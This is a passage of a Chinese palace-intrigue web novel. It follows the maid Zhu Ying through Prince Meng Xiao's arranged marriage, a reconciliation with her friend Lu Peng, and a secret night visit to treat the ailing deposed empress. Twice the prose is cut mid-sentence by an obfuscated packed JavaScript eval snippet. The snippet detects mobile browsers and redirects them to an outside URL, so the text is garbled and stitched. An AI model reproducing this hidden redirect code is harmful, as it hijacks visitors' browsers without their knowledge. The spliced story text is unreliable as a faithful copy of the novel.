竺影低着头,一眼就看到了他手上箍出的红痕。她往后退了半步,以手加额,却没多说什么,仅道一声:“恭喜殿下。” 他笑了笑道:“恭喜我?你倒是一点也不意外。” “是。”其后的回答更是敷衍。 既不意外,也不在意。 “你倒是能耐,学着泰然处之了。”他气得咬牙切齿,好一番阴阳,甩开衣袖愤然离去。 竺影知道他生了气,没在这个时候跟上去。 二皇子从暖阁回到停雪轩,就一直把自己关在屋里,连晚膳也没能送进去。 宜夫人没辙,又不肯在此事上让步半分,只能遣竺影过去劝解他。 夜里风寒霜重,黑暗吞噬了每一个岑寂的角落,让冻风的呼号显得更凄厉,吹得竺影手里的宫灯忽明忽灭。 她停在檐下,隔窗而立,看窗纸上落下一道清隽的影。 “殿下。”她轻声唤着。 窗上的影子晃了晃,须臾屋内传来回应。 孟晓问她:“怎么在这时过来了?” 竺影如实道:“夫人让我来的。” 孟晓静默了一阵,随后说道:“往后圆滑些,别这么坦诚,就说是你自己要过来的,懂吗?” 竺影道:“懂了。是我担心殿下,所以来看看您。” 他这才满意些,许她进门:“屋外冷,进来吧。” 正门未锁,竺影推门进去,只见他孤伶伶站在寒窗前,颓然凝视窗外雪。 夜风从她身后灌入,吹开帷帐,撩得漆几上纸页上下翻动,却又在镇纸的掣肘下逃离不得。 “殿下,夜已深了。” 竺影放下宫灯,到他身侧去,温声道提醒着他该早些入眠。 他不应答,却携着她走入帷帐中去,矮榻摆在正中,榻上铺了软席,置漆几一张。几上放着新摹的字帖,墨迹早已经干透了。 “这些字帖,我替殿下收起来吧。” 她要移开漆几,为他理床榻,刚伸出手去,就被他拦下。 孟晓道:“不必。” 如此僵持着,手悬在字帖上,竺影看清了纸页上誊抄的文字,出自诗经里的《卷阿》。 “有卷者阿,飘风自南……” 直至写到那句“如圭如璋,令闻令望”*,笔墨就此停住,没再写下去,她的目光也停在此处。 明谌看着她低头的模样,问道:“好看吗?” “什么?”竺影不知他所指。 孟晓重申道:“这些字好看吗?” “嗯。”她不解其意,含糊应答一声,“殿下还在生气?” 孟晓道:“你知道我为什么生气吗?” 她摇了摇头。 他骂:“又装傻。” 竺影道:“可是殿下,我该以何种身份、何种理由去质问你?你又要以何种理由去拒绝陛下的恩赏?故而我只能道恭喜。” 听她这样说,归根结底是一样的处境,明谌遂不再问了。 “如圭如璋,令闻令望。果然是极好的名字。”他抚着白纸上端方的字迹,于帐中喃喃自言,“有的人从一出生就被父皇寄予了厚望,是旁人无论如何也奢求不来的。” 竺影听出了忮忌,明明他与三皇子相差不足一岁,明明他也生于风调雨顺的太平年,这两个字却给了他两个弟弟,孟闻和孟望。 可若说对孟闻的偏袒,竺影倒真没看出来。 帝王心术,怎么能用糊涂一言蔽之?他要权衡的除亲情以外,还有权势。 大皇子孟觉最早封王,出宫开府,可与朝臣私底下往来,早就获得了一众大臣的支持,更有梁氏与薛氏在背后,撼动不得。 二皇子外祖父居宰辅,已辅佐了三任帝王。自陆氏倒台以后,陈柯升任尚书令,陈氏一族蒸蒸日上,可谓显贵一时。 论及六皇子孟望,当朝中书令是杜修容的兄长,六皇子的舅父。杜家这些年来在民间颇有声望,算是后起之秀,假以时日待六皇子长大,或可与陈家分庭抗礼。 唯独三皇子,从前还有一个中宫嫡出的身份,而今却什么也没有,是故父子胜于君臣,他是对皇帝最没有威胁的那一个。 她自然不会在孟晓面前说这些。 “诸皇子的名字皆承希冀,私以为没什么不同。”竺影想了想,只得这样说道,“自开国以来,亲王封号 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须臾,他轻呵出一笑:“看来是我近来冷落了你,才使得你偏了心,开始替夫人说话了。” 竺影笑道:“是夫人叫我来的啊,没完成她交代的事,我怎么敢回去?” 孟晓道:“这是第几回了?每每有争执,总是叫你来开解我,劝我不要固执,好好听从她的安排。” 竺影道:“记不清了。” 他只是笑了笑,转而望着落在帷帐上的一对影子。摇曳的烛光覆在他身上,陡然生出几分落寞。撑在桌上的五指发白,那张字帖也在他的手中变得扭曲不堪。 “你分明也不喜欢她。” 竺影听他这样说着。 她平静如旧,解释说:“她是主子,我是奴仆。在别人的屋檐下,唯有如此才能活命。我并非不懂圆滑,只是在殿下面前不用如此,即使耿直些,也不用受罚。” 烛台上的火光暗了,孟晓牵起她的袖角相携至窗前,错落的窗格割碎了窗纸上的人影。 “出宫前,我会为你安排好去处。”他忽然说起,又反复叮嘱,“纵使襄王不在宫中,你仍需谨慎些。还有孟闻……他虽蠢,可也未必好应付。” 竺影说道:“殿下不是说三皇子最是仁慈,倘若事情败露,他知晓我是在诓骗他,他会杀我吗?” “不好说。”他提一把金剪子放到竺影手中,让她剪去烧黑的烛芯,好教灯火更明亮些。“眼下的他不会,难保来日不会。在这宫里待久了,人是会变的。连你也不知那些与你朝夕相对的人,何时就变成了披着人皮的禽兽。人面兽心,肉眼难辨。” 她放下剪子,见烛芯坍落在烛泪里。 在静和宫四年,她也是亲眼见着二郎从风度翩翩的少年,变成了这幅心思深沉的模样。 孟晓又道:“栖梧宫的那个人若对你有威胁,我出宫前可以帮你除掉她。” 竺影问道:“殿下说的,是谁?” “又开始装傻了啊?”他垂下眼睫,声音陡然冷了几分,“当初是你求着我,我才留她一条性命,将人藏到栖梧宫去。可玄英亲眼看到,她与襄王有往来。” “原来如此啊……”她低声喃喃。 她仅仅猜测陆芃给她倒的那杯茶有毒,却不知昔日旧友为何要害她。 原来与襄王有关。 孟晓道:“若是她能安分些,收起那些不该有的动作,倒也不必我多费心思。但使她的身份传出去,甚至无需我亲自动手……” 竺影仰起头,恳求他道:“殿下,这件事就让我自己解决吧。” “你怎么解决?” “我会找她问清楚,说不定是襄王许诺了她什么。” 孟晓道:“那就让禾玉跟着你去。” 11. 凛风鸣竹(一) 近来晴雪交替,冬日里的阳光并不暖和,又十分刺目,使人不愿出门,只想在屋里蜷着。 若非此事关系陆芃性命,竺影是不情愿在这样的天气里出远门的。 路过鸣鸾宫外时,她恰恰见三皇子着急忙慌从外廷赶回来,连步辇也顾不上坐,徒步奔回殿中。 随后又听过路的宫人议论,鸣鸾宫里的那位突然发病了,一场病来势汹汹。 陆尚书一案尚未有头绪,这些变故又将他拖住了,实在令人唏嘘。 鸣鸾宫的青砖墙下,白雪泛着淡淡的薄柿色,走近了看,又像是血色。寒冬中的血气也凝滞不去。 竺影在这里停了片刻,觉得诧异,于是问身旁的禾玉:“这里为何会有血腥味?” 禾玉告诉她,昨日夜里废后病发,皇帝责怪鸣鸾宫的宫人侍奉不周,下令杖杀了鸿嘉殿当晚值夜的所有宫人。 宫墙下只见平坦的雪道,尸身早就被处理了。 “难怪。”竺影道,“可倘若陛下真的担心那位,怎么这些天里,一次也没去过鸣鸾宫?” 禾玉提着剑,一副公事公办的样子:“我也不知晓,理这些做什么,做好你自己的事便是。” 竺影遂住了口,继而往陆芃的住处走去。 到了地方,禾玉停在不远处,没有跟着她过去,只叮嘱:“我就在门外候着,殿下吩咐了,倘若她再生出对你不利的心思,我会直接取她性命。” “好。”竺影没有反驳,独自向那扇紧闭的门走去。敲了很久都无人应答,正当竺影以为屋内没人时,那扇门如旧支开一条小缝。 屋里人此时还未梳妆,满脸疲态,披发趿鞋下床。 “你病了?”竺影问她。 “没有。”陆芃哽了一下,眼神本能地回避,“为何又来找我?” 竺影笑道:“来找你斗蛐蛐啊。” 陆芃见她手里捧着个瓷盒,张口就骂道:“你是不是受什么刺激了?大冬天的哪里有蛐蛐?” 竺影认真道:“当真有,请我进屋坐坐吧,外面很冷。” 陆芃没说话,留了门便转身回屋,竺影跟在后面,将门掩得严严实实。 陆芃顺手给竺影倒了杯茶,竺影没动,催促她去折两根草来,自己则去拿了个瓷盘倒上温水,将瓷盒置其上。揭开盖子一看,里头真有一对活生生的蛐蛐。 陆芃惊讶道:“这个时节还真有蛐蛐?你从哪里弄来的?” 竺影道:“二殿下送的。” 陆芃又换作讥讽一笑:“他从来待你不薄。” 是在陛下给二皇子与崔家女郎赐婚之后,孟晓怕竺影不开心,于是着人往她的住处送了一对蛐蛐,让她解闷逗乐。 眼下她漠然盯着笼中的一双虫儿,何其讽刺啊。 蛐蛐本是秋虫,一旦过了十月天气转寒,就寻不到踪迹了。 但民间有好斗虫者,常以温室养护,炭火供养,才使得本该在秋末冬初绝迹的虫儿活到今日,供他们消遣。 陆芃问道:“你会跟着他去齐王府吗?” 竺影道:“不会。” “也是。”陆芃抿了抿嘴,不知是奚落还是怜悯,“赐婚的事我也听说了。若是去了,怕是要与姓崔的斗一辈子。想你离了栖梧宫,另攀了高枝又怎样?到头来宜夫人还是选了崔家的女公子,让你的算盘落了空。” 竺影微微颔首,轻笑道:“不错,看来是时候寻个新的靠山了。” 陆芃拧起眉头骂道:“竺影,你就只会攀附男人吗?当初一齐离开掖庭,杜修容荐你去任女史,那时你要是答应了,说不定早就当上了女侍中,怎么都比现在强,可你偏选择了去静和宫。” “是啊,不去攀附就活不下去了。”她垂眸轻语,似在自嘲,“女史,说得好听是女官,哪怕做到头当了内司,撑死了也还是奴婢,侍奉的主子不同而已。” 陆芃道:“至少胜过那些任人处置的宫人,不是吗?这已经是你我能寻到的,最好的去处了。” 竺影道:“若我只贪图安康顺遂的后半生,当年便不会踏入宫门半步。我到这里来,不是为了换个地方苟活。” 陆芃默了一阵,没说话。 二虫鏖战,她手下的蛐蛐被打得连连后退,逃之夭夭。 竺影道:“你能不能认真些,都要输了啊。” 陆芃直接丢了草,任由手下那只虫子被追得四处逃窜,只道:“我本来就没心思和你斗虫。” 竺影也停了手,不再观盘中闹剧。盘子里的水渐冷,方才还扭打在一起的蛐蛐也蜷在瓷盒里不动了。 她突然问道:“蛐蛐本是同类,为何要互相拼咬,斗个你死我活?” 陆芃回答说:“蛐蛐在斗,是因为有人拿着草去驱使它们。” 竺影道:“而人要争,是不是也有人在幕后做推手?男子在外朝争斗,掖庭成了女子的战场,只要有人划定了一个圈,这个圈就成了笼,圈中的人同样成了斗虫。前朝如是,后宫如是,京城乃至天下都是如此。哪怕你知晓了这样的真相,却还是不得不争。不去争,就会死。” 陆芃愣愣地看着她道:“竺影,像你这样活着,会很痛苦。” 竺影道:“我能怎么办呢?我的家人还在交州,如果我没能为他们脱罪,他们只能一辈子在那瘴疠之地苦苦挣扎,在那里耗到老死、病死,永无翻身之日。就像你不会眼睁睁看着你的姑母在冷宫中等死。你知道我为何入宫来,我也知道你为何留在此处,为什么会做那些事。” 她拔下发髻上的银簪,当着陆芃的面查验杯中茶水,见银簪没有变色,她笑问道:“这次没有给我下毒了吗?” “你……原来你知道……”陆芃看着竺影,有些怔怔的。 竺影道:“那一次来找你,你让我别喝冷茶时,我便已察觉了端倪。” “那为何还要来?你明知……”她声音渐渐低落,“明知我那些害人的心思。” “可你没有。”竺影道,“我只是觉得你我不该这样斗,不管是为了什么。若你有苦衷,可以与我说。” “对不起。”陆芃低下头,仅仅吐出三字,什么解释也没有。 竺影只是轻轻一笑,且当眼前人是没有苦衷的,纯粹恨她罢了。 看着那两只不再动的蛐蛐,她盖上盖子收起瓷盒,一句道别也没留下,就起身折返庭中。 陆芃也没有起身去送她,眼见盘中水冷透了,其上单单浮着两根草。 竺影一出门,禾玉就迎了上来。 “谈完了?” “嗯。”竺影点点头,“你先回静和宫吧,我还想在外走走。” 禾玉道:“这么冷的天,别在外太久,记得早些回去。” 待她走远了,竺影才拢袖往相反的方向去,沿着化雪的宫墙,漫无目的地独行。 今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361916|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔太常携其女进宫谢恩,宜夫人兴许会留崔家女郎在宫中用饭,竺影不想在这时回去。 这是崔家女郎第二次到静和宫了,上一回仅与二皇子匆匆见过一面,只记得这人对她印象不好也不坏,冷淡了些。 只是谁也没想到一桩婚事就这样草率地定下,圣上面前的指婚如同儿戏一般。 二皇子在席间很少说话,似是对她这位未婚妻不太满意。只有宜夫人拉着她嘘寒问暖,问些家长里短,她一一回答。 因而在宫中的这场餐宴,实在算不上愉快。 不等饭菜凉透,她已放下了筷子。 宜夫人又问她:“怎么停箸了,是饭菜不合口味吗?” 崔月仪道:“没有不合口味,只是家母不知道夫人会留我用饭,故而进宫前让我在家中多吃了些,现下还吃不了太多。” 宜夫人笑道:“那就好,你难得来宫里一趟,我还担心是我这做长辈的招待不周。” 崔月仪道:“夫人和善,如待女儿般待我,我到静和宫也如归了家一样,家母知道定会开心。” 宜夫人道:“既吃好了,趁屋外晴光好,就让二郎陪你出去走走,且当是消食。” 崔月仪不动声色打量着另一人,他哪里有什么闲庭信步的心思。没等他发话,先已回绝:“不必劳烦殿下了,今日在宫中逗留太久,算算时辰,我也该归家了。” “也罢。”宜夫人笑着与孟晓道,“二郎,月仪对宫中不熟,你去送一送她。” 崔月仪看向他,听他平静应一声:“好。” 许是处于礼节和客套,他并未拒绝,却也算不上多热忱。 宜夫人朝紫裳递了一个眼神,紫裳得了示意,先去拿了伞,见屋外没有落雪,便走在前头为贵人引路。 午后的宫城安静极了,不闻喧闹,只有枝头上雪化的声音,伴着脚步声离去。 同行之人沉默了一路。 崔月仪就是在这时见到了竺影,一个抱伞独行的宫人,走在另一条覆雪的宫道上,略显匆忙。 那宫人打扮与寻常宫人没什么不同,却让她忍不住多看了几眼。 出了后宫,远远见了西华门。 这一路无人说话,还是崔家女郎先开了口:“殿下,我不常入宫来,能否让紫裳姑姑陪我在宫中走走?” 孟晓道:“无需我再相送吗?” 崔月仪道:“已经近了西华门,我只转转便回去,就不耽搁殿下的时间了。” 孟晓没再多言,待她与紫裳先行,才沿着来路返回。 崔月仪走了数丈远,不由向引路之人提及心中疑虑:“紫裳姑姑,我有些事想问问你。” 紫裳道:“女郎请讲。” 崔月仪问:“齐王殿下一直都这么沉默寡言吗?” 当着未来齐王妃的面,紫裳无法如实作答,只得说道:“殿下素来性子沉稳,喜欢独处,不喜多言。” 崔月仪道:“原来如此,我还担心他并不喜欢我。” 紫裳宽慰她道:“怎么会呢?殿下识诗书守礼义,女郎是他未来的妻子,他将来定会敬您爱您。” “承姑姑吉言了。”崔月仪轻笑一声,随手摘下只玉镯子塞到紫裳手中。 “请女郎将镯子拿回去吧。”紫裳推辞着不敢收下。 崔月仪笑道:“仅是一点心意,请姑姑收下吧。送我到这儿就好,我记得回去的路。” 12. 凛风鸣竹(二) 竺影来时见到了孟晓,见崔家女郎出宫,他一路相送。 一场宴散得还真是早,她也不得不加快脚步,在静和宫的人想起她之前奔往秘阁。 到了藏书之处,门口值守的宫人已换了一批,此时将她阻在门外。 宫人语气不善,质问她道:“你是何人?为何到此处来?” 竺影回道:“我受二皇子之托,前来取些东西。” 宫人便问她:“可有凭信?” 竺影在袖中一阵摸索,沉默了半晌,似乎没料到会是这么个结果。 那人也是秉公办事:“请回吧。没有凭证,断不可让你进去。” “能不能请祝大人……” “祝大人不在。” 得了这么个答复,竺影也犯了难,正抱着纸伞准备离开时,却见有一人迎面而来。 少年未冠,着一身墨色冬裘,绸缎在晴雪中透着蓝莹莹的光,垂袖而行,步履端方,乃是秘书丞谢临之子,谢萤。 谢萤见了竺影,似是心中了然,并未询问她什么,径直向她行了一礼道:“兰宫人久等了,请随我来。” 竺影跟在他身后问道:“祝大人不是昨日休沐吗?今日为何不在秘阁?” 谢萤领着她上楼,回道:“这几日老师在家中养病,没有进宫。秘阁值守的宫人换过一批,所以他们才认不得你,还望兰宫人不要介怀。” 竺影道:“不妨事的,幸而小谢大人此时还没下值,不然我就白跑一趟了。” 谢萤解释道:“三皇子尚在阁中,有些事未忙完,师父有病在身,故而让我留在这里协助他。” 正听他说着,窗边一个伏案的背影猛然映入竺影眼帘,让她步子都慢了几分。 竺影低下头,一路上没再说话,只祈祷着孟闻不会认出她来。 所幸那人忙于正事,纵使从他身侧走过,他也未尝抬眼。 谢萤从自己办公的书案下翻出一沓包裹得严严实实的信件,递交给竺影。 “这是祝大人让我拿给你的。” “谢谢。”她也从袖中掏出一封揣得皱皱巴巴的信,小声道,“有劳小谢大人,替我将其转交给祝大人吧。” 谢萤收好信封,又问道:“兰宫人可还有什么话要我转达?” 竺影摇了摇头,想到三皇子就在不远处,她恨不得即刻抽身退去,哪里肯多言半个字? 谢萤捡起她遗忘的伞跟在她身后,提醒道:“莫忘了拿伞,归程或许会下雪。” 是啊,她刚离开秘阁,宫城竟又飘雪了,裹挟着她仓促逃离,越过千楼万阙。 风雪鸣廊的夜里,停雪轩小屋中燃着一盏明灯,竺影坐在灯下读信,信中写尽岭南风物,只道交州在南,冬雪不至,却忧心延都的风霜雨雪,不知她在京城过得如何。 那是一封来自交州的家书。写于九月初一,却在冬至过去许久才送达。 远在天涯海角的父母兄长不知竺影已经入宫,还以为她藏在故人家中,于是教她如何得体处事,寄人篱下讨生活。信笺短,相思却长,末尾反反复复都是那一句,“岁寒添衣,努力加餐,勿为父母忧愁。” “只问我如何,却不谈己身,那些不好的事只字不提,叫我如何不忧愁?” 竺影放下家书,揉着眉心叹息连连。 她一遍遍地将家书从头读到尾,最后在无人的夜里,就着烛火将信纸引燃,家人千里迢迢送来的只言片语转瞬化作灰烬。 每一封信都是这样处理的,她不敢留。 最后一点余烬也被风吹散了。 她困在万千广厦间,抱膝守着昏灯一盏,眼前只有影子相伴。窗外白雪飘飘悠悠,似不情愿落在这片土地上,遮去了一切,天地茫茫都不见。 半梦半醒之间,竺影察觉屋外有积雪坍落,枯枝坠地。 她揉了揉眼望向窗格外,见月光洒落一地,白雪如铺碎玉,有人自庭中向她走来,披了满身的风雪。 身后的烛火被窗外灌进的风吹得频频跳动,她的心口也跳了跳。 二皇子为何会在此时过来? 竺影起身启门相迎,没等她开口问询,就已落入一个满是雪气的怀抱。 孟晓突然俯身拥住她,埋头在她垂落的鬓发与冬袄的绒毛间,轻阖上眼,如在此处栖息,什么话也不说。 竺影任由他倚靠着,没有动作,只问道:“殿下怎么过来了?是不是内廷出了什么事?” 换作是往常,在静和宫,在旁人面前,他们之间从未有过这样的逾礼。 竺影不知晓他的心意,你来我往间,逢场作戏更多。 “无事。” 过了一会儿,孟晓慢吞吞地说道,“不过是忙完了,顺道来看一看你。” 雪下得不大,空中零星飘着几粒,可他的冬裘上却沾满了雪。 “岂不怪我?”她玩笑似地说,“让殿下在案牍劳形时也要记挂?” 孟晓也抬起头来,即便疲惫不堪也勉强扯出些笑意,怎料见她眼角通红,笑意不达眼底。 “你怎么了?怎么哭了?”他问。 “没有。是方才剪烛芯,被烛烟迷了眼。”竺影胡乱寻了个蹩脚的由头,他也不会深究。 孟晓低头凝睇那一双眼,“鸣竹,你可会怨我?” 这样的问题他似乎问过,竺影依旧道:“不怨。” 他今日难得耿直一回,苦笑着说:“鸣竹秉性如何我最是了解,你纵有怨也不会同我说。倘若你有怨气,我向父皇请愿退了与崔家的婚事又何妨?” 竺影着急挣脱他的手,肉眼可见地慌忙,她不敢设想这样的结果,仿佛这不是许诺,是威胁,这一字一句会要了她的命。 她严肃道:“事已至此,别说这些玩笑话。” 她入宫城,到静和宫来,不是为了在他羽翼下求苟活的。 孟晓叹了口气,眼中遗憾作不得假。 “夜已深了,你早些休憩,我不过看一眼就走。”他一边说着,一边解下腰间香囊递到竺影手里,“我两日后离宫,得闲了再为我添些香料吧,如旧就好。” “好。”竺影平静应下。 他思前想后,一再叮嘱:“我留禾玉在宫中护你,若真出了什么变故,你懂得保全自己就够了。” 除此之外,他似乎没别的话可以说。 孟晓出宫那日天气并不好,竺影留在停雪轩没有去为他送行。 静和宫里又平静了,因着二皇子平静地接受了既定的路。 腊月里迟迟不回暖,鸣鸾宫那位病情又加重了,连夜叫了好几位太医前去看诊。 宫中风言风语盛行,宫人们都在猜测她是否能活过这个冬日。前朝也飘出些传闻,陛下念及旧情,似乎有意恢复她的皇后之位。若非如此,三皇子本该与二皇子一道封王。 他们提起废后,自然而然提起了她那因谋反获罪的父兄,一旦提起便要唾骂一口,骂陆氏为朝中蠹蝝*,死不足惜。 陛下怎么可以让罪臣之女为后呢? 众说纷纭,争来争去也没个定论,谁也猜不透龙椅上那位的心思。 也有人听到些许风声,便上赶着去巴结,无一例外都被赶了出去。 宫外脚步渐行渐近,惊落枯枝的白雪,也扰了一方天地的清净。 两个内官尚未摸到鸣鸾宫的门槛,就被迎面泼来的冰水拦住了去路。 羽音端着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361917|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个木盆立在门下,冷声斥道:“滚远点,谁准你们来扰夫人清净!” 地上立满了冰碴,已经记不得这是她泼出去的第几盆水。 陆皇后在病中,羽音生怕有只言片语传入皇后耳中,害得她病情再度加重。 羽音关闭宫门回去,只见陆皇后静站在檐下看雪,面上神色淡淡,不见怒意,倒像是生了死气。 仿佛墙外人所言之事于她无关。 羽音疾步走过去,“夫人怎么出来了呀?外头风大,您快些回去。” 陆皇后固执地站着,只道:“不必,我想见见暖阳。” 羽音哑然,京城之上尽是飞雪,何处才有暖阳? 她不知如何去排解,只得看着另一人,投以求助的目光:“殿下,您劝劝夫人吧。” 孟闻道:“无事,你自忙去吧。” 廊下置了矮榻,宫人们挪来炭盆,又在榻上铺好貂毯。 他温声道:“既然母亲想看天光,儿陪母亲在廊下坐一会儿吧。” 得皇后首肯,孟闻过去搀扶她坐下。 她依旧望着远处不说话。 她从前常站在这里,看屋檐,看宫墙,观白雪,观远山。 今日孟闻与她同坐,才发觉母亲看的并不是雪,而是北边的群山。 许多年前她的父亲奉君命守在北地,可惜在宫城里是看不到的。 孟闻在这时提起:“开春后,儿或许要前往北地。” 陆皇后适才侧目看着他,意味深长道:“为逢君?为旧事?还是为民?” 孟闻低下头,忽有些惭愧:“是为旧案一事。” 她平静呵斥:“不应如此。” 并不是拦着他去北地,而是斥责他不该只是抱着这样的私心。 孟闻固执着不言,他在卷帙中翻不到蛛丝马迹,或许唯有如此才能找寻真相。 可在陆皇后心中,南交州北并州这些官僚不愿去的边远之地,是最圣洁的地方,本不该发生诸多阴谋。 听到宫外一阵提铃声,她说她累了,终于肯回房中休息。 偏偏是在此时,偏偏是在圣上预备驾临鸣鸾宫之时。 看到皇帝身边的常侍已经进宫,孟闻亲自出宫门去迎。 十多个宫人簇在阶前,皇帝不曾下华辇,隔着薄纱,深深看他一眼:“你母亲病了数日。” 睢言朝华辇的方向躬身一揖:“母亲服过药,已睡下了。” 皇帝沉目叹息,只说:“照顾好她。” 一抬手,又命宫人抬辇走了。 深冬了,光景一日不比一日好,病中的人也是。 有次陆皇后沾了床榻,便一睡几日不醒。 太医们未有对策,不敢施针,汤药也喂不进去。 孟闻接连几日不去秘阁,专日夜守在母亲病榻前。 待到夜阑人静,灯火通明时,有内官在门外通传:“殿下,外面有个宫人一直求着要见您。” “什么人?” “是个女子,不知是哪个宫的。” “让她进来。” 孟闻心有疑惑,让徴音代他守着,亲自起身前去。 内官领着一个瘦瘦小小的宫女从殿外走来,只见她浑身被冷水浇透,眼睫与发梢上结着冰晶,在灯火影中周身冒着寒气。 他刚想问是谁干的,却一旁还提着木盆的羽音。 孟闻灯火中观她,惜灯光幽暗,看不清那个宫人的模样,不知是何许人也。 羽音斥她:“大胆,见了三皇子也不行礼!” 宫人站在阶下哆哆嗦嗦,哑着嗓子唤他一声:“表兄。” 鸣鸾宫的消息传进栖梧宫里,她还是坐不住了。 13. 凛风鸣竹(三) 孟晓离宫后,竺影独居停雪轩中,久不出门。 今日晴光好,她突然兴起想出宫走走,没想到会在静和宫遇上陆芃。 说是巧遇,其实后者已在宫道上徘徊多时了,这些天她一直在等人。 竺影并没有向她走去,几乎是下意识回避,要往别处去。 她只得自己奔上前来,风吹落了风帽,露出一张消瘦面容。张了张口,却说不出话。 竺影没有等她调章遣句的耐心,偏过头冷言道:“你从不会来找我。” “我想请你救一个人。”她说。 竺影尚未能不计前嫌,此刻仍与这人置气。她沉着脸,话音也森森:“救谁?鸣鸾宫的那位吗?” 陆芃道:“太医署的人不堪用,我知道只有你能救她了。” 也是,只有遇上这样难办的差事,非要有所求时,才会想到她。 “太医都救不了的人,我怎会有办法?”竺影转身,要继续行路去了,可这人猝不及防扯着她裙摆跪下。 身后传来她的啜泣声:“此前种种皆是我对不住你,过往之事也不该怨你,我本无颜来见你。可她是我姑母,我只剩下她……我只求来你……求你能救救她。” “求我有什么用啊?你真把我当成了大慈大悲的菩萨?”竺影漠然垂下眸,却对她的声泪俱下回以讥诮。 “求死之人最是难救,你是知道的。” 一字一句问责像掷碎的玉,伴随着醒枝的眼泪落下。 她还是冷眼看着,抽出裙摆就要离开。 陆芃一步步膝行上前,抓着她的衣角,抛却所有体面去求她宽宏谅解,求她施以悲悯。 “是我错了,事到如今我只能来求你,但使你能救她,你大可以怨我、恨我,让我怎么样都行。” “唉——你还是如此,年年岁岁不饶人,不肯施舍我几天安生的日子。” 竺影无可奈何地叹息,看她低垂着头颅,双肩因哭泣而颤抖,早就不见理智了。 “你要害死我吗?陆醒枝。” 陆芃听了这话,抬起头止不住抽噎。泪水割裂了年轻的脸庞,也割裂了深宫中相互依存的两个女子。 她不聪明,只看得到和鸾宫里的人病重,看不到背后的推手。 她不知道太医署的人不是不能救,而是不敢救。 他们怕冷宫里出来的人早晚会为陆氏翻案,害怕三皇子也参与到党争里来。棋盘上突然多出一颗子,必然会有人重新站队,那么苦心经营多年的势力又要重新洗牌。 明摆着有人不愿留下废后性命,谁人敢救她?为此搭上自己的性命,多不值得? 陆芃看着她,似下定了很大一番决心:“可我就只剩下她……哪怕是拿我这条性命去抵也成。” “真蠢啊……”竺影喃喃低语,说出这句话时,便已经是妥协了。 “我可以随你去,可有条件。” “你说。”陆芃擦去眼泪,止住了哭,只剩抽噎。 竺影道:“你不可让任何一人知晓,包括废后与三皇子。须知我的主子在静和宫,你想救她,可我也想活。所以鸣鸾宫那边你打算怎么瞒?” 陆芃道:“由我来想办法。” 竺影又道:“还有,若我没能救下她,你不可怨我。” “好。” “我先回静和宫去,取些东西,入夜后你再来找我。” “好。”陆芃频频点头,待她走后,又去了鸣鸾宫。 三皇子还在陆皇后寝宫中没走,因放心不下旁人,总是亲自守着。 陆芃出去了没多久,回来时红着眼,像是才去某处躲起来哭过。 对于这个突然冒出来的陆家女弟,他是存疑的。 孟闻听说过,她母亲病死在掖庭宫里,至于她……昔年犯下些罪过,被送进了鹿苑,没能活着回来。 皇后在冷宫听闻这个消息,痴嗔半月,大病一场,足足三月才慢慢平息。 也不知她是怎么瞒天过海,活到了现在,又好端端站在他眼前。 他只看着她,模样不曾改,性子变了许多。 “表兄。”陆芃突然唤他。 “嗯。”孟闻淡淡应着。 “姑母醒来过吗?” “没有。” “你有几日没合眼了?”陆芃问。 “无事,累了我自会去休息。” 可他眼下乌青,万般憔悴,已经连续几日未曾饱眠。 陆芃道:“你白日里要忙前朝的事,还要来这里守着,入夜也不肯休憩,以后夜里让我来守吧。” 孟闻道:“你一个人么?” 陆芃道:“徴音和羽音都在,我也在这里,至少能让你多休息一时半刻。” 榻上的人仍昏睡着,没有转醒的迹象,榻边的人已经睡意昏沉了。 “好。”他破天荒地没拒绝,摇摇晃晃地支起身,拢着两卷书往门口去。 陆芃留在房中,徴音和羽音时不时会过来,一个送餐饭,一个奉汤药。 换作是往常,后半夜不会有人前来。 陆芃一个人守在屋里,屋外有两个值夜的宫人。 冬夜寒而漫长,宫人们早已疲倦,靠在墙边打起了哈欠,忽见有个宫女提着食盒走近,即刻警觉起来。 “你是谁?来做什么?” 那宫女道:“我来给女郎君送夜食。” 宫人搜查过食盒,未找到可疑之物,还是拦她于门前:“吃食留下,你不可进去。” 她没多纠缠,只笑道:“有劳宫人了。” 宫人把食盒送到屋里,陆芃招呼着他二人:“守夜辛苦,过来喝些热汤吧?” 呼号的风穿过长廊,绞落一地的枝叶,搅得这夜也不安宁。 不多久,屋中传来倒地声。 本已经走了的宫女又折返回来,陆芃支开一条门缝放她进屋。 两个守门的宫人横七竖八躺在地上,竺影绕过他们,径直走向陆芃。 后者正忙着收拾那些加了“料”的残羹,不敢留半点痕迹。 “只这两个人守着?”竺影问。 “后半夜就这两个,再过两个时辰才有人来换值。”陆芃道。 “如此便好。” 竺影就着炭火等双手回温,随后走向病榻之侧。 榻上的病人呼吸太轻太缓,几乎察觉不出,平静得像一尊沉肃的雕像。跳动的烛火为她病容覆上一层暖黄的光,才使之看起来多一些生气。 就像竺影来时见到的那两棵棠棣树,大树移栽而不成话。 她搭上了陆皇后的手腕,按住脉门一下下数着时息,把完一只,又换另一只手。 “不应如此……”竺影看着双目紧阖的陆皇后,低声喃喃。 “怎么了?”陆芃问。 竺影想了想,还是同她道:“经络阻滞不畅,体内有淤毒,非一朝一夕之故,许是常年服药所致。还有……” 她始终凝着眉,情况似不太妙。 “ 